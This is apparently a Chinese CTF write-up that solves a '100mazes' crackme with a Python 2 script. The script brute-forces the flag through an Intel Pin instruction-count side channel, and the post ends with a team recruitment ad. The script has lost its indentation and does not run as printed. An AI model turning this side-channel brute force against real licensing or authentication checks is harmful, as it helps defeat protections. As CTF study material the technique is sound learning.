发现是100个迷宫,本来是选择深搜去跑的,后面dump下迷宫发现符号有问题,然后就放弃了,发现都是单字节的判断,所以直接选择pintool,跑就完事了
import subprocess
import os
import logging
import json
import string
import time
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
class shell(object):
def runCmd(self, cmd):
res = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
sout, serr = res.communicate()
return res.returncode, sout, serr, res.pid
def initPin(self, cmd):
res = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
self.res = res
def pinWrite(self, input):
self.res.stdin.write(input)
def pinRun(self):
sout, serr = self.res.communicate()
return sout, serr
filename = "./100mazes"
cmd = "./pin -t " +
"/home/giantbranch/pin/source/tools/ManualExamples/obj-intel64/inscount0.so" + " -- " + filename
print cmd
subprocess.Popen(cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
#### brup args ascii
start_time = time.time()
#dic = string.letters+'_{}'+string.digits
chs="gMp9"
chs1="SlOC"
chs2="3nrt"
chs3="Km4T"
chs4="SJDx"
chs5="jPt3"
chs6="cQyv"
chs7="1DAK"
chs8="j94Y"
chs9="xWnQ"
chs10="6NAW"
chs11="QYk1"
chs12="wxhB"
chs13="yVPS"
chs14="gzhp"
chs15="gru0"
chs16="s3Xt"
chs17="KwqE"
chs18="j1zo"
chs19="Xm5K"
chs20="8FQ4"
chs21="njRl"
chs22="oQ6m"
chs23="JpSR"
chs24="kBFS"
chs25="GXvC"
chs26="GxWE"
chs27="Q641"
chs28="yhuH"
chs29="euFk"
chs30="5TFb"
chs31="fnLo"
chs32="GXVP"
chs33="o4BW"
chs34="k0GT"
chs35="WdZA"
chs36="8nHd"
chs37="IJNY"
chs38="Np0Q"
chs39="zZTf"
chs40="Uemp"
chs41="MlVn"
chs42="u9LO"
chs43="BSgQ"
chs44="bguj"
chs45="8vpi"
chs46="jMot"
chs47="ucTM"
chs48="mDSn"
chs49="jC3h"
chs50="pZx1"
chs51="UEGW"
chs52="T0Eo"
chs53="UE9K"
chs54="gi2v"
chs55="e0pV"
chs56="uN1v"
chs57="C5kI"
chs58="F9ez"
chs59="5pBF"
chs60="MnBa"
chs61="gst4"
chs62="bfDH"
chs63="qIct"
chs64="UpzJ"
chs65="Orvt"
chs66="QpZC"
chs67="6OkS"
chs68="ZOvT"
chs69="vaGK"
chs70="djYM"
chs71="Q5OL"
chs72="BUfv"
chs73="Pzdf"
chs74="hzX8"
chs75="AHfD"
chs76="KUQp"
chs77="PhqJ"
chs78="DHog"
chs79="36Ct"
chs80="OzL3"
chs81="3xeh"
chs82="vUYr"
chs83="vwGc"
chs84="nyJw"
chs85="cdUn"
chs86="OYNr"
chs87="Wm0F"
chs88="szQa"
chs89="bLYG"
chs90="msfV"
chs91="QKWV"
chs92="stLV"
chs93="ZMj4"
chs94="Wdna"
chs95="hiWI"
chs96="fR83"
chs97="FkfS"
chs98="rpks"
chs99="MWDi"
#3nrtKm4TSJDxjPt3cQyv"
s=''
shell = shell()
shellx1="99g99M9999ggggpCSSSOOlOllOlOOOrrrnnnnrnntttntTmm44m44K444m44DDJJxJJDJJDDDDS"
shellx2="tjtjjttPtPPPtPPQvQQyQQQyQQQvvc11KKDKDDAADDDAA4444jjjYjYYY99YQQQxxQQxxnxnnxn"
shellx3="66A6AANNWNNWNNWY1YYY1Y11QQQQ1QBBxxhhhhhhxhxhxPyPPVVVPPPyyPPVpzzzzpzzhhhhhzh"
shellx4="uuggguururrr00rssXX3X3X33t3t3tqKqqKKEEKEEEwEw1zzjzjjojojoojomKmmmKKXXXKKXKX"
shellx5="QQFFQFFQQ8Q88QQllRRlljjllllRlRo666o6oooommQmQJJRJJJSJSJSJSJJBFFBFBFBBFBFFkF"
shellx6="CCGGCCXCCXXvvXXxEEGGGWGWWGGWWx4464644QQQ44Q44HyyHHhHHHyyHHHyeFFFFeFFuuuuuuk"
shellx7="TbTTFTFTFF55555LfffLffffoooonnXXPPGPPGPGGGGPPBooBoBB4BBB44B4TkTTkkkGG0GG00G"
shellx8="ZZdZddAdAAAAAAW8d88HHHHHnnHnnHJJNJNJNJJJYYIYYNN00ppppQpQpppQzTTTzTzTTTTZZfZ"
shellx9="UppppeppUUpUUmUVMVVlVlVVVMVMVVL9L99O99999O9OOBQBQQSSSSSSSSgSjgjgjgggguggjgg"
shellx10="vpvppp88p8pppppojojjooooojojjjTcTTTTuTTcTTTTTmnnDnDDSDDnDnDn3C3C3C3C333jjhj"
shellx11="xxZZxZxZxxxxxxxWWUUWWUUUWWEWEEo00o000EE00E000KKEKEKEEEEKKEE9viiviiivvggggg2"
shellx12="00V000VVeVV0VVVvvuu1u1u1u111NNCkCCCkkk55I5555zFzz9z99eeeeeFe5BBBBppBppppFpp"
shellx13="MMMMMMaaanannna4gggg4ggtttssssfHfHHDDHDDDDHDDcqcqqqqqqtqqccIppzpzzppzppzzUz"
shellx14="rvvrvrrtrtrrvrrCppZppCppCCQCCQOkOkOOSSOSS66SS"
shellx15="ZvvvvOOTTTOOOTOvvKKvvGvvvGGaaaYddMMdMdMMjMjMMQOQOO555LL5LLLQvvBvBBfBBfffBBv"
shellx16="dzdzdzdzzfzfzffzXXXhXhXhXhhhhXADAAAAffHHffAfAKQKQQKKpppKpKKphhJJhJhJhJJJPPq"
shellx17="oooHHHoHoHooDoDC3333CC6CC666C6LOLOLOLOLOOLOOOxexxee3ee33eeeerrvrrrrvvYYYYYY"
shellx18="vvvvvGGGGGwGwGGJnJJnnnnwwwywwnncccncnccUcUUUdOrOOOrOrrYYYNYYW0WW00W00WWWFWF"
shellx19="zzQzQQzzaaasaazbGbGGLLYLYLYYbYsfssfffffmmfmfmWWKKVKKVKKWKKVKVsVsVsVVVsVVtVt"
shellx20="Z4Z4444MMMMMjjZddnddaaddnnddaaIIIIhIIIIIiiiiW3ffff88ff3f3ff8FfFFfFfFFSFFfFF"
shellx21="kkrrrsrsrrsssppiMiiWiiMMiiMiMi"
shellx1=shellx1+shellx2+shellx3+shellx4+shellx5+shellx6+shellx7+shellx8+shellx9
shellx1=shellx1+shellx10+shellx11+shellx12+shellx13+shellx14+shellx15+shellx16+shellx17
shellx1=shellx1+shellx18+shellx19+shellx20+shellx21
cout_old=0
start_time = time.time()
for i in range(15):
max_num = 0
max_ch = ""
for ch in chs99:
tmp = s + ch +(15-len(s)-1)*'?'+'n'
shell.initPin(cmd)
shell.pinWrite(shellx1)
shell.pinWrite(tmp)
sout,serr = shell.pinRun()
with open('inscount.out') as f:
count = f.readline().split(' ')[1]
count = int(count)
print(count,tmp,sout)
if(count>max_num):
max_num = count
max_ch = ch
s+=max_ch
print(max_num,max_ch)
print('flag:'+s)
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新